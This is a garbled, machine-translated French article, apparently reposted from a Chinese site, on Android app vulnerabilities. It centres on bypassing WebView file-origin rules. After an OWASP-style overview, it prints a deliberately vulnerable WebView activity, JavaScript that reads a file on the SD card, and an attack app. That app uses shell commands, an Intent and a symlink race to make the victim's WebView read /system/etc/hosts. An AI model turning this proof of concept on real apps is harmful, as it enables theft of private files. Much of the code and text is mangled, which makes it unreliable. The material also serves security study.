Maison  >  Article  >  Opération et maintenance  >  Exemple d'analyse de vulnérabilité de contournement de la stratégie d'origine du domaine de fichiers WebView

Exemple d'analyse de vulnérabilité de contournement de la stratégie d'origine du domaine de fichiers WebView

王林
王林avant
2023-05-15 08:22:141572parcourir

Connaissance de base de l'architecture Android

  • Couche du noyau du noyau
    Les vulnérabilités sont extrêmement nuisibles et très polyvalentes
    En raison du grand nombre et de la complexité des pilotes, il peut également y avoir de nombreuses failles

  • Couche de bibliothèque d'exécution du système des bibliothèques

    • La bibliothèque d'exécution fournie sous forme de middleware système
      comprend libc, WebKit, SQLite, etc. de services et d'interfaces API

      App Layer


    • Application système

      Écran d'accueil Accueil, Contact, Téléphone, Navigateur
  • Autres applications
    Programmes implémentés par les développeurs utilisant l'API de la couche framework d'application

    • Andoroïde composants communs

    • Activités d'activité

    • Service

    • BroadcastRecviver Broadcast Receiver

    • ContentProvider Fournisseur de contenu

  • Vulnérabilités courantes de l'application Android (OWASP Mobile Top 10) Mauvaise utilisation de la plateforme

    • Présentation
    • Abus ou non-utilisation des fonctions de la plateforme. Possibilité d'utiliser les contrôles de sécurité de la plateforme. Tels que l'utilisation abusive d'intentions, d'autorisations, etc.


    • Les risques
    • sont très larges et peuvent impliquer divers services sur la plate-forme mobile


    • Par exemple
    Dans le système iOS, les données de mot de passe sont stockées dans un fichier local au lieu de dans le porte-clés. En conséquence, il peut être lu à partir de données de sauvegarde pseudo-chiffrées.
Dans le système Android, une utilisation inappropriée d'Intent conduit des utilisateurs malveillants à détourner et à modifier le contenu de l'intention, et à effectuer des actions arbitraires avec l'intention. autorisations d'identité du processus d'origine

  • Stockage de données non sécurisé

  • Communication non sécurisée

  • Vulnérabilités typiques et méthodes d'exploration Vulnérabilité de stockage de données

  • Fichiers ou répertoires de données

Stockage de texte clair


  • MODE_PRIVATE

  • Stockage de texte clair

  • Créé Le mode MODE_PRIVATE n'est pas utilisé lors de la création du fichier de configuration

  • Le mode MODE_PRIVATE n'est pas utilisé lors de la création du fichier de configuration, ce qui entraîne la lecture d'autres programmes le fichier de configuration

  • stocké en texte brut et lisible par l'utilisateur root, entraînant la fuite de données sensibles


SharedPreferences

data/data/package name/shared_prefs/*.xml

  • SQLiteDatabases
  • données/nom du paquet de données/base de données/*.db

    • InternalStorage

      données/données/enregistrement du programme/fichiers/*


    • ExternalStorage
    • /mnt/sdcard/*


    • Méthode de détection

    • Parcourez les différents fichiers et répertoires dans le répertoire /data/data/ nom du package et vérifiez s'il existe des fichiers lisibles par d'autres utilisateurs


    • Vérifiez s'il y a des informations sensibles en texte clair dans fichiers de configuration, bases de données, etc.

    • Vulnérabilité de la communication des données


      Utilisation de protocoles en texte clair tels que HTTP pour transmettre des informations sensibles au serveur


    • Par le biais du reniflage LAN, du WIFI public malveillant, des services proxy malveillants, du piratage DNS et d'autres moyens de capture des communications en texte brut, ce qui entraîne dans les attaques de l'intermédiaire

      Vérifiez s'il y a is return-void

    • Vérifiez de la même manière si la valeur de retour de verify(String, SSLSession) est toujours True et si le paramètre de X509HostnameVerifier est ALLOW_ALLHOSTNAME_VERIFIER




      Activez la fonction d'analyse HTTPS de Fiddler, générez-la et exportez-la depuis Signez le certificat et installez-le dans le téléphone
  • Activez le proxy Fiddler et autorisez l'hôte distant à se connecter au proxy

    • Le manque de vérification du certificat SSL dans l'APP

      Le client doit implémenter la classe X509TruestManager, y compris les trois méthodes checkServerTrustedcheckClientTrustedgetInstance

    • L'échec de la vérification du certificat provoquera une exception, puis l'application gérera l'exception de vérification du certificat

    L'échec de la vérification du certificat du serveur entraînera une attaque de l'homme du milieu TLS
  • Lors de l'utilisation de HttpsURLConnection, le HostnameVerifier personnalisé n'est pas implémenté pendant le processus. Lors de la vérification du nom d'hôte, la valeur par défaut ne vérifie pas si le nom de domaine du certificat correspond au nom du site. Ou lors de la configuration du HostnameVerifier de HttpsURLConnection, définissez-le sur ALLOW_ALL_HOSTNAME_VERIIER pour accepter tous les noms de domaine



    La vérification forte du certificat SSL
  • peut réussir. XP, Patch, etc. .Méthode à contourner

    Vulnérabilité d'exposition des composants

    • Android : exporté est un attribut commun aux quatre composants principaux, utilisé pour indiquer si d'autres applications sont prises en charge pour appeler le composant actuel

    • S'il existe un filtre d'intention, la valeur par défaut la valeur est vraie ; sinon La valeur par défaut est fausse

    • Contrôle des autorisations des composants exportés

    • Contourner l'authentification

      • L'activité est appelée par un tiers après avoir été exposée, et il est possible de se connecter /réinitialiser le mot de passe sans mot de passe

    • Informations sensibles divulguées

      • recviver a été lancé par un tiers après avoir été exposé, et les informations sensibles contenues dans le débogage et d'autres informations peuvent être consultées

    • Dépassement d'autorité


      • Programmes à faible privilège Exécuter des actions à haut privilège en appelant les composants exposés par les programmes à haut privilège

    • Méthode d'exploration de données



      • Voir AndroidManifest

      • Faible vulnérabilité de cryptage


      • Codage en dur du mot de passe
      Décompilation, visualisation racine, etc. peuvent être obtenues

      Cryptage faible AES/DES
    • Le mode ECB est vulnérable aux attaques d'analyse ou de relecture


    • WebView


      Main ly comprend trois types de vulnérabilités :

    Exécution de code arbitraire

    • Écriture d'une page Web qui traverse des objets S'il existe une méthode getClass, il existe une vulnérabilité d'exécution de code à distance


    • Le script de Fidler peut autoriser n'importe quel. webview pour accéder à n'importe quelle page Web. Après avoir testé
      • Android 4.2 et versions ultérieures, la méthode annotée avec addJavascriptInterface peut être appelée par la méthode java dans la page Web. S'il n'est pas filtré, il peut y avoir des failles. leURLs

      • setAllowUniversalAccessFromFileURLs (résultant en un accès distant divulgation d'informations sensibles)
      • Les fichiers locaux sont accessibles via des attaques de liens symboliques : quelle que soit la restriction, js peut accéder à ce fichier. En retardant l'exécution et en remplaçant le fichier actuel par un lien symbolique pointant vers d'autres fichiers, vous pouvez lire le fichier pointé par le lien symbolique


      • Si WebView active la prise en charge de JavaScript et ne dépose pas :/ //Restrictions sur Les URL sous forme de cookies, de fichiers privés, de bases de données et d'autres informations sensibles seront divulguées


    • Les mots de passe sont stockés en texte brut
    • Lorsque l'utilisateur choisit d'enregistrer le nom d'utilisateur et le mot de passe saisis dans WebViEW, ils seront stockés en texte brut Enregistrez-le dans data.db dans le répertoire de l'application
        Un attaquant disposant des autorisations root peut le lire
      • Résumé du processus d'exploration des vulnérabilités

      • Analyse statique

        Détection rapide, obtenez des cibles d'analyse clés

      • Vérification du fichier AndroidManifest
        Essayez la vérification de l'opération/vulnérabilité

      • Drozer



        Système d'assistance automatisé


    • MobSF inclut l'interface Web frontale,

    Marvin inclut l'interface Web frontale, qui est difficile à déployer

    • Plug-in Inspeckage Xposed



      • Aujourd'hui, nous allons parlez des vulnérabilités WebView
      • Pure Text View Copy code

      • ?
      • Exemple d'adresse de code : https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.

        Ou mon github : https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
    • La principale différence dans le code ci-dessous est le fichier Attack_file.html chargé cette fois


      classe publique MainActivity extends Activity {

      privé WebView webView ;
      • privé Uri mUri ;
      • privé String url ;

      • String mUrl1 = "file:///android_asset/html/attack_file.html"
      • //String mUrl2 = "file:/// android_asset/html/test.html";

      • @Override
      • protected void onCreate(Bundle savingInstanceState) {

      • super.onCreate(savedInstanceState);
      • setContentView(R.layout.activity_main);

        webView = (WebView) findViewById(R.id.webview);
      •         webView.getSettings().setJavaScriptEnabled(true);  

                webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

                webView.getSettings().setAllowFileAccessFromFileURLs(true);  

                webView.setWebChromeClient(new WebChromeClient() {  

                    @Override 

                       public boolean onJsAlert (vue WebView, URL de chaîne, message de chaîne, résultat JsResult)              //Fonctionnalité requise ici  

                        return super.onJsAlert(view, URL, message, résultat);  

                    }  

                });  

                webView.loadUrl(mUrl1);  

            }  

            class JSInterface {  

                public String onButtonClick(String text) {  

                    final String str = text;  

                    runOnUiThread(new Runnable() {  

                        @Override 

                        public void run() {  

                            Log.e( "leehong2", "onButtonClick : text = " + str);                     Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();                }  

                    });  

                    return "Ce texte est renvoyé par la couche Java.  js text = " + text;  

                }  

                public void onImageClick(String url, int width, int height) {  

                    final String str = "onImageClick: text = " + url + "  width = " + width + "   height = " + height;  

                    Log.i("leehong2", str);  

                    runOnUiThread(new Runnable() {  

                        @Override 

                        public void run() {  

                           Toast.make Text(getApplicationContext(), str, Toast.LENGTH_LONG).show();                  }  

                    });  

                }  

            }  

        }

        这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以javaScript访问file文件。

           我们再来看attack_file.html的代码:'

          

          

        <script>  </p> <p>function StealeFile()  </p> <p>{  </p> <p>    var file = "file:///mnt/sdcard/233.txt";  </p> <p>   var xmlHttpReq = new XMLHttpRequest();  </p> <p>    xmlHttpReq.onreadystatechange = function(){  </p> <p>        if(xmlHttpReq.readyState == 4){  </p> <p>            alert(xmlHttpReq.responseText);  </p> <p>        }  </p> <p>    }  </p> <p>xmlHttpReq.open("GET", fichier);  </p> <p>xmlHttpReq.send(null);  </p> <p>}  </p> <p>stealFile();  </p> <p></script>  

          

          > Par exemple, setAllowFileAccessFromFileURLs est false, webView. load这个html不可以返回/mnt/sdcard/2333.txt的值。

        即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.

        Exécutez d'abord WebViewFileDemo1, puis exécutez AttackWebView pour attaquer WebView.

        Nous regardons d'abord WebViewFileDemo1, le code principal est le suivant :

        package com.example.webviewfiledemo [/size][/font][/ p]

        importer android.app.Activity;

        importer android.content.Intent

        importer android.net.Uri

        importer android.os.Bundle; android.webkit.JsResult;

        importer android.webkit.WebChromeClient;

        importer android.webkit.WebView;

        importer android.widget.Toast

        classe publique MainActivity extends Activity {

        privé WebView; Uri mUri;

        URL de chaîne privée

        @Override

        protected void onCreate(Bundle savingInstanceState) {

        super.onCreate(savedInstanceState); = (Vue Web) findViewById(R. id.webview);

        webView.getSettings().setJavaScriptEnabled(true);

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");

              / /webView.getSettings().setAllowFileAccess(false);                                                               utiliser l'      ); ' en utilisant ' s ' ‐ ‐ ‐ ‐‐                                           url, message en chaîne, résultat JsResult) {

                                                                    Fonctionnalité requise ici

                                                                                        revenir super.onJsAlert(view, url, message, result);

                                                                            using   if (i != null)                                                                                         i.getData(();                    ;                                                                                              if (url != null) {

                 webView.loadUrl(url) ;

        }

        }

        }

        Cette activité reçoit l'intention de l'extérieur, extrait l'URL dans l'intention et la charge.

        Ensuite, regardons le projet AttackWebView, qui est le projet qui envoie l'intention à com.example.webviewfiledemo.MainActivity. Le code est le suivant :

        public class MainActivity extends Activity {

        public final static String HTML =

        "" +

        " Attendez quelques secondes. +

        " <script>" + "var d = document;"+ "</p> <p> "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ </p> <p> "xhr.onload = function(){"+ </p> <p> "var txt = xhr.responseText;"+ </p> <p> "d.body.appendChild(d.createTextNode(txt));"+ </p> <p> "alert(txt);"+"};" + </p> <p> ”xhr .open('GET',d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p>            "</script>"+  

                    "";  

            chaîne statique publique MY_TMP_DIR ;  

            @Override 

            protected void onCreate(Bundle saveInstanceState) {  

                super.onCreate(savedInstanceState);  

                setContentView(R.layout.activity_main);  

                MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();  

                doit();  

            }  

            public void doit() {  

                String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";  

                essayez {  

                    cmdexec("mkdir " + MY_TMP_DIR);  

                    cmdexec("echo "" + HTML + "" > " + HTML_PATH);  

                    cmdexec("chmod -R 777 " + MY_TMP_DIR);  

                    Thread.sleep(1000);  

                    InvoqueVulnAPP("file://" + HTML_PATH);  

                    Thread.sleep(6000);  

                    cmdexec("rm " + HTML_PATH);  

                    cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);  

                } catch (Exception e) {  

                    // À FAIRE : gérer l'exception   

                }  

            }  

            public void invoquéVulnAPP(String url) {  

                essayez {  

                    Intent intent = new Intent(Intent.ACTION_MAIN,Uri .parse(url));  

                    intent.addCategory(Intent.CATEGORY_LAUNCHER);   

                    intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");  

                    startActivity(intent);  

                } catch (Exception e) {  

                    // À FAIRE : gérer l'exception  

                }  

            }  

            public void cmdexec(String cmd)      essayez {  

                    String[] tmp = new String[] { " /system/bin/sh", "-c", cmd };  

                    Runtime.getRuntime().exec(tmp);  

                } catch (Exception e) {  

                    // TODO : gérer l'exception   

                }  

            }  

        }

        通过invokeVulnAPP,打Il s'agit de com.example.webviewfiledemo.MainActivity et d'Intent. ,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:


        public final static String HTML =   

                "" +  

                "Attendez quelques secondes." +   

                "<script>" +  </p> <p>        "var d = document;"+  </p> <p>        "function doitjs(){"+  </p> <p>        "var xhr = new XMLHttpRequest;"+  </p> <p>        "xhr.onload function(){"+  </p> <p>        "var txt = xhr.responseText;"+  </p> <p>        "d.body.appendChild(d.createTextNode(txt));"+  </p> <p>        "alert(txt);"+"};"+  </p> <p>        "xhr.open('GET ',d.URL);"+  </p> <p>        "xhr.send(null);"+  </p> <p>        "}"+  </p> <p> "setTimeout(doitjs,8000);"+ </p> <p> "</script>"+

        "";

        Lorsque le webView du projet WebViewFileDemo1 charge A0.html, la fonction de ce code HTML est de retarder 8 secondes pour lire A0.html lui-même. Revenons au projet AttackWebView et examinons le code.

        cmdexec ("mkdir" + my_tmp_dir);

        cmdexec ("" thread.sleep (1000);

        invokevulnApp ("file: //" + html_path); thread.sleep (6000);

        cmdexec (" ln -s " + "/system /etc/hosts" + " " + HTML_PATH);

        Après avoir appelé InvokeVulnAPP, 6 secondes plus tard, nous supprimons d'abord A0.html, puis nous nous connectons à nouveau à /system/etc/hosts . Notez que lorsque webView dans le projet WebViewFileDemo1 charge A0.html à ce moment-là, la fonction de ce html est de retarder la lecture de A0.html lui-même pendant 8 secondes, donc la connexion logicielle /system/etc/hosts est lue après 8 secondes.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer